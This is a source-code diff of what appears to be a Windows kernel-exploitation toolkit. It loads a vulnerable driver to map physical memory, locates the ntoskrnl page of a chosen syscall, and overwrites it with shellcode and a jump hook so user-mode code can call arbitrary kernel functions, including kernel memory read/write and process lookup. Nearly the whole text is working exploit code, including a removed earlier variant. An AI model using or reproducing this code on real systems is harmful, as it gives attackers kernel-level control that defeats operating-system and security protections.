|
__forceinline void enable()
|
||||||
|
{
|
||||||
|
mapped_pml4e->pfn = new_pml4e.pfn;
|
||||||
|
}
|
||||||
|
|
||||||
|
__forceinline void disable()
|
||||||
|
{
|
||||||
|
mapped_pml4e->pfn = old_pml4e.pfn;
|
||||||
|
}
|
||||||
|
|
||||||
|
private:
|
||||||
|
auto make_pdpt(const pt_entries& kernel_entries, void* kernel_addr)->std::pair<void*, void*>;
|
||||||
|
auto make_pd(const pt_entries& kernel_entries, void* kernel_addr)->std::pair<void*, void*>;
|
||||||
|
auto make_pt(const pt_entries& kernel_entries, void* kernel_addr)->std::pair<void*, void*>;
|
||||||
|
auto make_page(const pt_entries& kernel_entries, void* kernel_addr)->std::pair<void*, void*>;
|
||||||
|
|
||||||
|
mem_ctx* mem_ctx;
|
||||||
|
pt_entries new_entries;
|
||||||
|
pml4e new_pml4e;
|
||||||
|
pml4e old_pml4e;
|
||||||
|
void* kernel_addr;
|
||||||
|
ppml4e mapped_pml4e;
|
||||||
|
};
|
||||||
|
}
|
After Width: | Height: | Size: 143 KiB |
@ -0,0 +1,190 @@
|
|||||||
|
#pragma once
|
||||||
|
#include <Windows.h>
|
||||||
|
#include <winternl.h>
|
||||||
|
#include <ntstatus.h>
|
||||||
|
#include <cstdint>
|
||||||
|
#include <cstddef>
|
||||||
|
#include <map>
|
||||||
|
#pragma comment(lib, "ntdll.lib")
|
||||||
|
|
||||||
|
#if _DEBUG
|
||||||
|
#define DBG_ASSERT(...) assert(__VA_ARGS__)
|
||||||
|
#define DBG_PRINT(...) printf(__VA_ARGS__)
|
||||||
|
#else
|
||||||
|
#define DBG_ASSERT(...) assert(__VA_ARGS__)
|
||||||
|
#define DBG_PRINT(...) printf(__VA_ARGS__)
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#define PAGE_4KB 0x1000
|
||||||
|
#define MM_COPY_MEMORY_PHYSICAL 0x1
|
||||||
|
#define MM_COPY_MEMORY_VIRTUAL 0x2
|
||||||
|
#define PAGE_IN(addr, size) memset(addr, NULL, size)
|
||||||
|
|
||||||
|
constexpr auto SystemModuleInformation = 11;
|
||||||
|
constexpr auto SystemHandleInformation = 16;
|
||||||
|
constexpr auto SystemExtendedHandleInformation = 64;
|
||||||
|
|
||||||
|
typedef struct _RTL_PROCESS_MODULE_INFORMATION
|
||||||
|
{
|
||||||
|
HANDLE Section;
|
||||||
|
PVOID MappedBase;
|
||||||
|
PVOID ImageBase;
|
||||||
|
ULONG ImageSize;
|
||||||
|
ULONG Flags;
|
||||||
|
USHORT LoadOrderIndex;
|
||||||
|
USHORT InitOrderIndex;
|
||||||
|
USHORT LoadCount;
|
||||||
|
USHORT OffsetToFileName;
|
||||||
|
UCHAR FullPathName[256];
|
||||||
|
} RTL_PROCESS_MODULE_INFORMATION, * PRTL_PROCESS_MODULE_INFORMATION;
|
||||||
|
|
||||||
|
typedef struct _RTL_PROCESS_MODULES
|
||||||
|
{
|
||||||
|
ULONG NumberOfModules;
|
||||||
|
RTL_PROCESS_MODULE_INFORMATION Modules[1];
|
||||||
|
} RTL_PROCESS_MODULES, * PRTL_PROCESS_MODULES;
|
||||||
|
|
||||||
|
typedef LARGE_INTEGER PHYSICAL_ADDRESS, * PPHYSICAL_ADDRESS;
|
||||||
|
|
||||||
|
typedef struct _MM_COPY_ADDRESS {
|
||||||
|
union {
|
||||||
|
PVOID VirtualAddress;
|
||||||
|
PHYSICAL_ADDRESS PhysicalAddress;
|
||||||
|
};
|
||||||
|
} MM_COPY_ADDRESS, * PMMCOPY_ADDRESS;
|
||||||
|
|
||||||
|
using PEPROCESS = PVOID;
|
||||||
|
|
||||||
|
using PsLookupProcessByProcessId = NTSTATUS (__fastcall*)(
|
||||||
|
HANDLE ProcessId,
|
||||||
|
PEPROCESS* Process
|
||||||
|
);
|
||||||
|
|
||||||
|
using MmCopyMemory = NTSTATUS(__stdcall*)(
|
||||||
|
PVOID,
|
||||||
|
MM_COPY_ADDRESS,
|
||||||
|
SIZE_T,
|
||||||
|
ULONG,
|
||||||
|
PSIZE_T
|
||||||
|
);
|
||||||
|
|
||||||
|
using MmGetVirtualForPhysical = std::uintptr_t(__fastcall*)(
|
||||||
|
__in std::uintptr_t PhysicalAddress
|
||||||
|
);
|
||||||
|
|
||||||
|
using MmGetPhysicalAddress = std::uintptr_t(__fastcall*)(
|
||||||
|
__in std::uintptr_t BaseAddress
|
||||||
|
);
|
||||||
|
|
||||||
|
typedef union _virt_addr_t
|
||||||
|
{
|
||||||
|
void* value;
|
||||||
|
struct
|
||||||
|
{
|
||||||
|
std::uint64_t offset : 12;
|
||||||
|
std::uint64_t pt_index : 9;
|
||||||
|
std::uint64_t pd_index : 9;
|
||||||
|
std::uint64_t pdpt_index : 9;
|
||||||
|
std::uint64_t pml4_index : 9;
|
||||||
|
std::uint64_t reserved : 16;
|
||||||
|
};
|
||||||
|
} virt_addr_t, *pvirt_addr_t;
|
||||||
|
static_assert(sizeof(virt_addr_t) == sizeof(PVOID), "Size mismatch, only 64-bit supported.");
|
||||||
|
|
||||||
|
typedef union _pml4e
|
||||||
|
{
|
||||||
|
std::uint64_t value;
|
||||||
|
struct
|
||||||
|
{
|
||||||
|
std::uint64_t present : 1; // Must be 1, region invalid if 0.
|
||||||
|
std::uint64_t ReadWrite : 1; // If 0, writes not allowed.
|
||||||
|
std::uint64_t user_supervisor : 1; // If 0, user-mode accesses not allowed.
|
||||||
|
std::uint64_t PageWriteThrough : 1; // Determines the memory type used to access PDPT.
|
||||||
|
std::uint64_t page_cache : 1; // Determines the memory type used to access PDPT.
|
||||||
|
std::uint64_t accessed : 1; // If 0, this entry has not been used for translation.
|
||||||
|
std::uint64_t Ignored1 : 1;
|
||||||
|
std::uint64_t large_page : 1; // Must be 0 for PML4E.
|
||||||
|
std::uint64_t Ignored2 : 4;
|
||||||
|
std::uint64_t pfn : 36; // The page frame number of the PDPT of this PML4E.
|
||||||
|
std::uint64_t Reserved : 4;
|
||||||
|
std::uint64_t Ignored3 : 11;
|
||||||
|
std::uint64_t nx : 1; // If 1, instruction fetches not allowed.
|
||||||
|
};
|
||||||
|
} pml4e, * ppml4e;
|
||||||
|
static_assert(sizeof(pml4e) == sizeof(PVOID), "Size mismatch, only 64-bit supported.");
|
||||||
|
|
||||||
|
typedef union _pdpte
|
||||||
|
{
|
||||||
|
std::uint64_t value;
|
||||||
|
struct
|
||||||
|
{
|
||||||
|
std::uint64_t present : 1; // Must be 1, region invalid if 0.
|
||||||
|
std::uint64_t rw : 1; // If 0, writes not allowed.
|
||||||
|
std::uint64_t user_supervisor : 1; // If 0, user-mode accesses not allowed.
|
||||||
|
std::uint64_t PageWriteThrough : 1; // Determines the memory type used to access PD.
|
||||||
|
std::uint64_t page_cache : 1; // Determines the memory type used to access PD.
|
||||||
|
std::uint64_t accessed : 1; // If 0, this entry has not been used for translation.
|
||||||
|
std::uint64_t Ignored1 : 1;
|
||||||
|
std::uint64_t large_page : 1; // If 1, this entry maps a 1GB page.
|
||||||
|
std::uint64_t Ignored2 : 4;
|
||||||
|
std::uint64_t pfn : 36; // The page frame number of the PD of this PDPTE.
|
||||||
|
std::uint64_t Reserved : 4;
|
||||||
|
std::uint64_t Ignored3 : 11;
|
||||||
|
std::uint64_t nx : 1; // If 1, instruction fetches not allowed.
|
||||||
|
};
|
||||||
|
} pdpte, * ppdpte;
|
||||||
|
static_assert(sizeof(pdpte) == sizeof(PVOID), "Size mismatch, only 64-bit supported.");
|
||||||
|
|
||||||
|
typedef union _pde
|
||||||
|
{
|
||||||
|
std::uint64_t value;
|
||||||
|
struct
|
||||||
|
{
|
||||||
|
std::uint64_t present : 1; // Must be 1, region invalid if 0.
|
||||||
|
std::uint64_t rw : 1; // If 0, writes not allowed.
|
||||||
|
std::uint64_t user_supervisor : 1; // If 0, user-mode accesses not allowed.
|
||||||
|
std::uint64_t PageWriteThrough : 1; // Determines the memory type used to access PT.
|
||||||
|
std::uint64_t page_cache : 1; // Determines the memory type used to access PT.
|
||||||
|
std::uint64_t accessed : 1; // If 0, this entry has not been used for translation.
|
||||||
|
std::uint64_t Ignored1 : 1;
|
||||||
|
std::uint64_t large_page : 1; // If 1, this entry maps a 2MB page.
|
||||||
|
std::uint64_t Ignored2 : 4;
|
||||||
|
std::uint64_t pfn : 36; // The page frame number of the PT of this PDE.
|
||||||
|
std::uint64_t Reserved : 4;
|
||||||
|
std::uint64_t Ignored3 : 11;
|
||||||
|
std::uint64_t nx : 1; // If 1, instruction fetches not allowed.
|
||||||
|
};
|
||||||
|
} pde, * ppde;
|
||||||
|
static_assert(sizeof(pde) == sizeof(PVOID), "Size mismatch, only 64-bit supported.");
|
||||||
|
|
||||||
|
typedef union _pte
|
||||||
|
{
|
||||||
|
std::uint64_t value;
|
||||||
|
struct
|
||||||
|
{
|
||||||
|
std::uint64_t present : 1; // Must be 1, region invalid if 0.
|
||||||
|
std::uint64_t rw : 1; // If 0, writes not allowed.
|
||||||
|
std::uint64_t user_supervisor : 1; // If 0, user-mode accesses not allowed.
|
||||||
|
std::uint64_t PageWriteThrough : 1; // Determines the memory type used to access the memory.
|
||||||
|
std::uint64_t page_cache : 1; // Determines the memory type used to access the memory.
|
||||||
|
std::uint64_t accessed : 1; // If 0, this entry has not been used for translation.
|
||||||
|
std::uint64_t Dirty : 1; // If 0, the memory backing this page has not been written to.
|
||||||
|
std::uint64_t PageAccessType : 1; // Determines the memory type used to access the memory.
|
||||||
|
std::uint64_t Global : 1; // If 1 and the PGE bit of CR4 is set, translations are global.
|
||||||
|
std::uint64_t Ignored2 : 3;
|
||||||
|
std::uint64_t pfn : 36; // The page frame number of the backing physical page.
|
||||||
|
std::uint64_t reserved : 4;
|
||||||
|
std::uint64_t Ignored3 : 7;
|
||||||
|
std::uint64_t ProtectionKey : 4; // If the PKE bit of CR4 is set, determines the protection key.
|
||||||
|
std::uint64_t nx : 1; // If 1, instruction fetches not allowed.
|
||||||
|
};
|
||||||
|
} pte, * ppte;
|
||||||
|
static_assert(sizeof(pte) == sizeof(PVOID), "Size mismatch, only 64-bit supported.");
|
||||||
|
|
||||||
|
struct pt_entries
|
||||||
|
{
|
||||||
|
std::pair<ppml4e, pml4e> pml4;
|
||||||
|
std::pair<ppdpte, pdpte> pdpt;
|
||||||
|
std::pair<ppde, pde> pd;
|
||||||
|
std::pair<ppte, pte> pt;
|
||||||
|
};
|
File diff suppressed because it is too large
Load Diff
@ -0,0 +1,142 @@
|
|||||||
|
#pragma once
|
||||||
|
#include <windows.h>
|
||||||
|
#include <cstdint>
|
||||||
|
|
||||||
|
#include "../util/util.hpp"
|
||||||
|
#include "../util/loadup.hpp"
|
||||||
|
#include "raw_driver.hpp"
|
||||||
|
|
||||||
|
#define MAP_PHYSICAL 0xC3502004
|
||||||
|
#define UNMAP_PHYSICAL 0xC3502008
|
||||||
|
|
||||||
|
#pragma pack (push, 1)
|
||||||
|
typedef struct _gdrv_t
|
||||||
|
{
|
||||||
|
unsigned long interface_type;
|
||||||
|
unsigned long bus;
|
||||||
|
std::uintptr_t phys_addr;
|
||||||
|
unsigned long io_space;
|
||||||
|
unsigned long size;
|
||||||
|
} gdrv_t, *pgdrv_t;
|
||||||
|
#pragma pack (pop)
|
||||||
|
|
||||||
|
namespace vdm
|
||||||
|
{
|
||||||
|
inline HANDLE drv_handle;
|
||||||
|
__forceinline auto load_drv() -> std::pair <HANDLE, std::string>
|
||||||
|
{
|
||||||
|
const auto [result, key] =
|
||||||
|
driver::load(
|
||||||
|
vdm::raw_driver,
|
||||||
|
sizeof(vdm::raw_driver)
|
||||||
|
);
|
||||||
|
|
||||||
|
if (!result)
|
||||||
|
return { {}, {} };
|
||||||
|
|
||||||
|
vdm::drv_handle = CreateFileA(
|
||||||
|
"\\\\.\\GIO",
|
||||||
|
GENERIC_READ | GENERIC_WRITE,
|
||||||
|
NULL,
|
||||||
|
NULL,
|
||||||
|
OPEN_EXISTING,
|
||||||
|
FILE_ATTRIBUTE_NORMAL,
|
||||||
|
NULL
|
||||||
|
);
|
||||||
|
|
||||||
|
return { vdm::drv_handle, key };
|
||||||
|
}
|
||||||
|
|
||||||
|
__forceinline bool unload_drv(HANDLE drv_handle, std::string drv_key)
|
||||||
|
{
|
||||||
|
return CloseHandle(drv_handle) && driver::unload(drv_key);
|
||||||
|
}
|
||||||
|
|
||||||
|
__forceinline bool read_phys(void* addr, void* buffer, std::size_t size)
|
||||||
|
{
|
||||||
|
if (!util::is_valid(reinterpret_cast<std::uintptr_t>(addr)))
|
||||||
|
return false;
|
||||||
|
|
||||||
|
gdrv_t in_buffer;
|
||||||
|
in_buffer.bus = NULL;
|
||||||
|
in_buffer.interface_type = NULL;
|
||||||
|
in_buffer.phys_addr = reinterpret_cast<std::uintptr_t>(addr);
|
||||||
|
in_buffer.io_space = NULL;
|
||||||
|
in_buffer.size = size;
|
||||||
|
|
||||||
|
void* out_buffer[2] = { 0 };
|
||||||
|
unsigned long returned = 0;
|
||||||
|
|
||||||
|
if (!DeviceIoControl(
|
||||||
|
drv_handle,
|
||||||
|
MAP_PHYSICAL,
|
||||||
|
reinterpret_cast<void*>(&in_buffer),
|
||||||
|
sizeof in_buffer,
|
||||||
|
out_buffer,
|
||||||
|
sizeof out_buffer,
|
||||||
|
&returned, NULL
|
||||||
|
))
|
||||||
|
return false;
|
||||||
|
|
||||||
|
__try
|
||||||
|
{
|
||||||
|
memcpy(buffer, out_buffer[0], size);
|
||||||
|
}
|
||||||
|
__except (EXCEPTION_EXECUTE_HANDLER)
|
||||||
|
{}
|
||||||
|
|
||||||
|
return DeviceIoControl(
|
||||||
|
drv_handle,
|
||||||
|
UNMAP_PHYSICAL,
|
||||||
|
reinterpret_cast<void*>(&out_buffer[0]),
|
||||||
|
sizeof out_buffer[0],
|
||||||
|
out_buffer,
|
||||||
|
sizeof out_buffer,
|
||||||
|
&returned, NULL
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
__forceinline bool write_phys(void* addr, void* buffer, std::size_t size)
|
||||||
|
{
|
||||||
|
if (!util::is_valid(reinterpret_cast<std::uintptr_t>(addr)))
|
||||||
|
return false;
|
||||||
|
|
||||||
|
gdrv_t in_buffer;
|
||||||
|
in_buffer.bus = NULL;
|
||||||
|
in_buffer.interface_type = NULL;
|
||||||
|
in_buffer.phys_addr = reinterpret_cast<std::uintptr_t>(addr);
|
||||||
|
in_buffer.io_space = NULL;
|
||||||
|
in_buffer.size = size;
|
||||||
|
|
||||||
|
void* out_buffer[2] = { 0 };
|
||||||
|
unsigned long returned = 0;
|
||||||
|
|
||||||
|
if (!DeviceIoControl(
|
||||||
|
drv_handle,
|
||||||
|
MAP_PHYSICAL,
|
||||||
|
reinterpret_cast<void*>(&in_buffer),
|
||||||
|
sizeof in_buffer,
|
||||||
|
out_buffer,
|
||||||
|
sizeof out_buffer,
|
||||||
|
&returned, NULL
|
||||||
|
))
|
||||||
|
return false;
|
||||||
|
|
||||||
|
__try
|
||||||
|
{
|
||||||
|
memcpy(out_buffer[0], buffer, size);
|
||||||
|
}
|
||||||
|
__except (EXCEPTION_EXECUTE_HANDLER)
|
||||||
|
{}
|
||||||
|
|
||||||
|
return DeviceIoControl(
|
||||||
|
drv_handle,
|
||||||
|
UNMAP_PHYSICAL,
|
||||||
|
reinterpret_cast<void*>(&out_buffer[0]),
|
||||||
|
sizeof out_buffer[0],
|
||||||
|
out_buffer,
|
||||||
|
sizeof out_buffer,
|
||||||
|
&returned, NULL
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,92 @@
|
|||||||
|
#include "vdm_ctx.h"
|
||||||
|
|
||||||
|
namespace vdm
|
||||||
|
{
|
||||||
|
vdm_ctx::vdm_ctx()
|
||||||
|
{
|
||||||
|
// already found the syscall's physical page...
|
||||||
|
if (vdm::syscall_address.load())
|
||||||
|
return;
|
||||||
|
|
||||||
|
vdm::ntoskrnl = reinterpret_cast<std::uint8_t*>(
|
||||||
|
LoadLibraryExA("ntoskrnl.exe", NULL,
|
||||||
|
DONT_RESOLVE_DLL_REFERENCES));
|
||||||
|
|
||||||
|
nt_rva = reinterpret_cast<std::uint32_t>(
|
||||||
|
util::get_kmodule_export(
|
||||||
|
"ntoskrnl.exe",
|
||||||
|
syscall_hook.first,
|
||||||
|
true
|
||||||
|
));
|
||||||
|
|
||||||
|
vdm::nt_page_offset = nt_rva % PAGE_4KB;
|
||||||
|
// for each physical memory range, make a thread to search it
|
||||||
|
std::vector<std::thread> search_threads;
|
||||||
|
for (auto ranges : util::pmem_ranges)
|
||||||
|
search_threads.emplace_back(std::thread(
|
||||||
|
&vdm_ctx::locate_syscall,
|
||||||
|
this,
|
||||||
|
ranges.first,
|
||||||
|
ranges.second
|
||||||
|
));
|
||||||
|
|
||||||
|
for (std::thread& search_thread : search_threads)
|
||||||
|
search_thread.join();
|
||||||
|
}
|
||||||
|
|
||||||
|
void vdm_ctx::locate_syscall(std::uintptr_t address, std::uintptr_t length) const
|
||||||
|
{
|
||||||
|
const auto page_data =
|
||||||
|
reinterpret_cast<std::uint8_t*>(
|
||||||
|
VirtualAlloc(
|
||||||
|
nullptr,
|
||||||
|
PAGE_4KB, MEM_COMMIT | MEM_RESERVE,
|
||||||
|
PAGE_READWRITE
|
||||||
|
));
|
||||||
|
|
||||||
|
for (auto page = 0u; page < length; page += PAGE_4KB)
|
||||||
|
{
|
||||||
|
if (vdm::syscall_address.load())
|
||||||
|
break;
|
||||||
|
|
||||||
|
if (!vdm::read_phys(reinterpret_cast<void*>(address + page), page_data, PAGE_4KB))
|
||||||
|
continue;
|
||||||
|
|
||||||
|
// check the first 32 bytes of the syscall, if its the same, test that its the correct
|
||||||
|
// occurrence of these bytes (since dxgkrnl is loaded into physical memory at least 2 times now)...
|
||||||
|
if (!memcmp(page_data + nt_page_offset, ntoskrnl + nt_rva, 32))
|
||||||
|
if (valid_syscall(reinterpret_cast<void*>(address + page + nt_page_offset)))
|
||||||
|
syscall_address.store(
|
||||||
|
reinterpret_cast<void*>(
|
||||||
|
address + page + nt_page_offset));
|
||||||
|
}
|
||||||
|
|
||||||
|
VirtualFree(page_data, PAGE_4KB, MEM_DECOMMIT);
|
||||||
|
}
|
||||||
|
|
||||||
|
bool vdm_ctx::valid_syscall(void* syscall_addr) const
|
||||||
|
{
|
||||||
|
static std::mutex syscall_mutex;
|
||||||
|
syscall_mutex.lock();
|
||||||
|
|
||||||
|
static const auto proc =
|
||||||
|
GetProcAddress(
|
||||||
|
LoadLibraryA(syscall_hook.second),
|
||||||
|
syscall_hook.first
|
||||||
|
);
|
||||||
|
|
||||||
|
// 0: 48 31 c0 xor rax, rax
|
||||||
|
// 3 : c3 ret
|
||||||
|
std::uint8_t shellcode[] = { 0x48, 0x31, 0xC0, 0xC3 };
|
||||||
|
std::uint8_t orig_bytes[sizeof shellcode];
|
||||||
|
|
||||||
|
// save original bytes and install shellcode...
|
||||||
|
vdm::read_phys(syscall_addr, orig_bytes, sizeof orig_bytes);
|
||||||
|
vdm::write_phys(syscall_addr, shellcode, sizeof shellcode);
|
||||||
|
|
||||||
|
auto result = reinterpret_cast<NTSTATUS(__fastcall*)(void)>(proc)();
|
||||||
|
vdm::write_phys(syscall_addr, orig_bytes, sizeof orig_bytes);
|
||||||
|
syscall_mutex.unlock();
|
||||||
|
return result == STATUS_SUCCESS;
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,114 @@
|
|||||||
|
#pragma once
|
||||||
|
#include <windows.h>
|
||||||
|
#include <string_view>
|
||||||
|
#include <vector>
|
||||||
|
#include <thread>
|
||||||
|
#include <atomic>
|
||||||
|
#include <mutex>
|
||||||
|
#include "../vdm/vdm.hpp"
|
||||||
|
|
||||||
|
namespace vdm
|
||||||
|
{
|
||||||
|
// change this to whatever you want :^)
|
||||||
|
constexpr std::pair<const char*, const char*> syscall_hook = { "NtShutdownSystem", "ntdll.dll" };
|
||||||
|
|
||||||
|
inline std::atomic<bool> is_page_found = false;
|
||||||
|
inline std::atomic<void*> syscall_address = nullptr;
|
||||||
|
|
||||||
|
inline std::uint16_t nt_page_offset;
|
||||||
|
inline std::uint32_t nt_rva;
|
||||||
|
inline std::uint8_t* ntoskrnl;
|
||||||
|
|
||||||
|
class vdm_ctx
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
vdm_ctx();
|
||||||
|
template <class T, class ... Ts>
|
||||||
|
__forceinline std::invoke_result_t<T, Ts...> syscall(void* addr, Ts ... args) const
|
||||||
|
{
|
||||||
|
static const auto proc =
|
||||||
|
GetProcAddress(
|
||||||
|
LoadLibraryA(syscall_hook.second),
|
||||||
|
syscall_hook.first
|
||||||
|
);
|
||||||
|
|
||||||
|
static std::mutex syscall_mutex;
|
||||||
|
syscall_mutex.lock();
|
||||||
|
|
||||||
|
// jmp [rip+0x0]
|
||||||
|
std::uint8_t jmp_code[] =
|
||||||
|
{
|
||||||
|
0xff, 0x25, 0x00, 0x00,
|
||||||
|
0x00, 0x00, 0x00, 0x00,
|
||||||
|
0x00, 0x00, 0x00, 0x00,
|
||||||
|
0x00, 0x00
|
||||||
|
};
|
||||||
|
|
||||||
|
std::uint8_t orig_bytes[sizeof jmp_code];
|
||||||
|
*reinterpret_cast<void**>(jmp_code + 6) = addr;
|
||||||
|
vdm::read_phys(vdm::syscall_address.load(), orig_bytes, sizeof orig_bytes);
|
||||||
|
|
||||||
|
// execute hook...
|
||||||
|
vdm::write_phys(vdm::syscall_address.load(), jmp_code, sizeof jmp_code);
|
||||||
|
auto result = reinterpret_cast<T>(proc)(args ...);
|
||||||
|
vdm::write_phys(vdm::syscall_address.load(), orig_bytes, sizeof orig_bytes);
|
||||||
|
|
||||||
|
syscall_mutex.unlock();
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
template <class T>
|
||||||
|
__forceinline auto rkm(std::uintptr_t addr) -> T
|
||||||
|
{
|
||||||
|
static const auto ntoskrnl_memcpy =
|
||||||
|
util::get_kmodule_export("ntoskrnl.exe", "memcpy");
|
||||||
|
|
||||||
|
T buffer;
|
||||||
|
this->syscall<decltype(&memcpy)>(
|
||||||
|
ntoskrnl_memcpy, &buffer, (void*)addr, sizeof T);
|
||||||
|
|
||||||
|
return buffer;
|
||||||
|
}
|
||||||
|
|
||||||
|
template <class T>
|
||||||
|
__forceinline void wkm(std::uintptr_t addr, const T& value)
|
||||||
|
{
|
||||||
|
static const auto ntoskrnl_memcpy =
|
||||||
|
util::get_kmodule_export("ntoskrnl.exe", "memcpy");
|
||||||
|
|
||||||
|
this->syscall<decltype(&memcpy)>(
|
||||||
|
ntoskrnl_memcpy, (void*)addr, &value, sizeof T);
|
||||||
|
}
|
||||||
|
|
||||||
|
__forceinline auto get_virtual(std::uintptr_t addr) -> std::uintptr_t
|
||||||
|
{
|
||||||
|
static const auto ntoskrnl_get_virtual =
|
||||||
|
util::get_kmodule_export(
|
||||||
|
"ntoskrnl.exe",
|
||||||
|
"MmGetVirtualForPhysical");
|
||||||
|
|
||||||
|
return this->syscall<MmGetVirtualForPhysical>(
|
||||||
|
ntoskrnl_get_virtual, addr);
|
||||||
|
}
|
||||||
|
|
||||||
|
__forceinline auto get_peprocess(std::uint32_t pid) -> PEPROCESS
|
||||||
|
{
|
||||||
|
static const auto ps_lookup_peproc =
|
||||||
|
util::get_kmodule_export(
|
||||||
|
"ntoskrnl.exe",
|
||||||
|
"PsLookupProcessByProcessId");
|
||||||
|
|
||||||
|
PEPROCESS peproc = nullptr;
|
||||||
|
this->syscall<PsLookupProcessByProcessId>(
|
||||||
|
ps_lookup_peproc,
|
||||||
|
(HANDLE)pid,
|
||||||
|
&peproc
|
||||||
|
);
|
||||||
|
|
||||||
|
return peproc;
|
||||||
|
}
|
||||||
|
private:
|
||||||
|
void locate_syscall(std::uintptr_t begin, std::uintptr_t end) const;
|
||||||
|
bool valid_syscall(void* syscall_addr) const;
|
||||||
|
};
|
||||||
|
}
|
@ -1,293 +0,0 @@
|
|||||||
#include "kernel_ctx.h"
|
|
||||||
|
|
||||||
namespace nasa
|
|
||||||
{
|
|
||||||
kernel_ctx::kernel_ctx()
|
|
||||||
{
|
|
||||||
if (psyscall_func.load() || nt_page_offset || ntoskrnl_buffer)
|
|
||||||
return;
|
|
||||||
|
|
||||||
nt_rva = reinterpret_cast<std::uint32_t>(
|
|
||||||
util::get_module_export(
|
|
||||||
"ntoskrnl.exe",
|
|
||||||
syscall_hook.first.data(),
|
|
||||||
true
|
|
||||||
));
|
|
||||||
|
|
||||||
nt_page_offset = nt_rva % PAGE_SIZE;
|
|
||||||
ntoskrnl_buffer = reinterpret_cast<std::uint8_t*>(LoadLibraryExA("ntoskrnl.exe", NULL, DONT_RESOLVE_DLL_REFERENCES));
|
|
||||||
|
|
||||||
DBG_PRINT("[+] page offset of %s is 0x%llx\n", syscall_hook.first.data(), nt_page_offset);
|
|
||||||
DBG_PRINT("[+] ntoskrnl_buffer: 0x%p\n", ntoskrnl_buffer);
|
|
||||||
DBG_PRINT("[+] ntoskrnl_buffer was 0x%p, nt_rva was 0x%p\n", ntoskrnl_buffer, nt_rva);
|
|
||||||
|
|
||||||
std::vector<std::thread> search_threads;
|
|
||||||
//--- for each physical memory range, make a thread to search it
|
|
||||||
for (auto ranges : util::pmem_ranges)
|
|
||||||
search_threads.emplace_back(std::thread(
|
|
||||||
&kernel_ctx::map_syscall,
|
|
||||||
this,
|
|
||||||
ranges.first,
|
|
||||||
ranges.second
|
|
||||||
));
|
|
||||||
|
|
||||||
for (std::thread& search_thread : search_threads)
|
|
||||||
search_thread.join();
|
|
||||||
|
|
||||||
DBG_PRINT("[+] psyscall_func: 0x%p\n", psyscall_func.load());
|
|
||||||
}
|
|
||||||
|
|
||||||
void kernel_ctx::map_syscall(std::uintptr_t begin, std::uintptr_t end) const
|
|
||||||
{
|
|
||||||
//if the physical memory range is less then or equal to 2mb
|
|
||||||
if (begin + end <= 0x1000 * 512)
|
|
||||||
{
|
|
||||||
auto page_va = nasa::map_phys(begin + nt_page_offset, end);
|
|
||||||
if (page_va)
|
|
||||||
{
|
|
||||||
// scan every page of the physical memory range
|
|
||||||
for (auto page = page_va; page < page_va + end; page += 0x1000)
|
|
||||||
if (!psyscall_func.load()) // keep scanning until its found
|
|
||||||
if (!memcmp(reinterpret_cast<void*>(page), ntoskrnl_buffer + nt_rva, 32))
|
|
||||||
{
|
|
||||||
psyscall_func.store((void*)page);
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
nasa::unmap_phys(page_va, end);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
else // else the range is bigger then 2mb
|
|
||||||
{
|
|
||||||
auto remainder = (begin + end) % (0x1000 * 512);
|
|
||||||
|
|
||||||
// loop over 2m chunks
|
|
||||||
for (auto range = begin; range < begin + end; range += 0x1000 * 512)
|
|
||||||
{
|
|
||||||
auto page_va = nasa::map_phys(range + nt_page_offset, 0x1000 * 512);
|
|
||||||
if (page_va)
|
|
||||||
{
|
|
||||||
// loop every page of 2mbs (512)
|
|
||||||
for (auto page = page_va; page < page_va + 0x1000 * 512; page += 0x1000)
|
|
||||||
{
|
|
||||||
if (!memcmp(reinterpret_cast<void*>(page), ntoskrnl_buffer + nt_rva, 32))
|
|
||||||
{
|
|
||||||
psyscall_func.store((void*)page);
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
nasa::unmap_phys(page_va, 0x1000 * 512);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// map the remainder and check each page of it
|
|
||||||
auto page_va = nasa::map_phys(begin + end - remainder + nt_page_offset, remainder);
|
|
||||||
if (page_va)
|
|
||||||
{
|
|
||||||
for (auto page = page_va; page < page_va + remainder; page += 0x1000)
|
|
||||||
{
|
|
||||||
if (!memcmp(reinterpret_cast<void*>(page), ntoskrnl_buffer + nt_rva, 32))
|
|
||||||
{
|
|
||||||
psyscall_func.store((void*)page);
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
nasa::unmap_phys(page_va, remainder);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
PEPROCESS kernel_ctx::get_peprocess(DWORD pid)
|
|
||||||
{
|
|
||||||
if (!pid)
|
|
||||||
return NULL;
|
|
||||||
|
|
||||||
PEPROCESS proc;
|
|
||||||
static auto get_peprocess_from_pid =
|
|
||||||
util::get_module_export(
|
|
||||||
"ntoskrnl.exe",
|
|
||||||
"PsLookupProcessByProcessId"
|
|
||||||
);
|
|
||||||
|
|
||||||
const auto status = syscall<PsLookupProcessByProcessId>(
|
|
||||||
get_peprocess_from_pid,
|
|
||||||
(HANDLE)pid,
|
|
||||||
&proc
|
|
||||||
);
|
|
||||||
return proc;
|
|
||||||
}
|
|
||||||
|
|
||||||
void kernel_ctx::rkm(void* buffer, void* address, std::size_t size)
|
|
||||||
{
|
|
||||||
if (!buffer || !address || !size)
|
|
||||||
return;
|
|
||||||
|
|
||||||
size_t amount_copied;
|
|
||||||
static auto mm_copy_memory =
|
|
||||||
util::get_module_export(
|
|
||||||
"ntoskrnl.exe",
|
|
||||||
"memcpy"
|
|
||||||
);
|
|
||||||
|
|
||||||
if (mm_copy_memory)
|
|
||||||
syscall<decltype(&memcpy)>(
|
|
||||||
mm_copy_memory,
|
|
||||||
buffer,
|
|
||||||
address,
|
|
||||||
size
|
|
||||||
);
|
|
||||||
}
|
|
||||||
|
|
||||||
void kernel_ctx::wkm(void* buffer, void* address, std::size_t size)
|
|
||||||
{
|
|
||||||
if (!buffer || !address || !size)
|
|
||||||
return;
|
|
||||||
|
|
||||||
size_t amount_copied;
|
|
||||||
static auto mm_copy_memory =
|
|
||||||
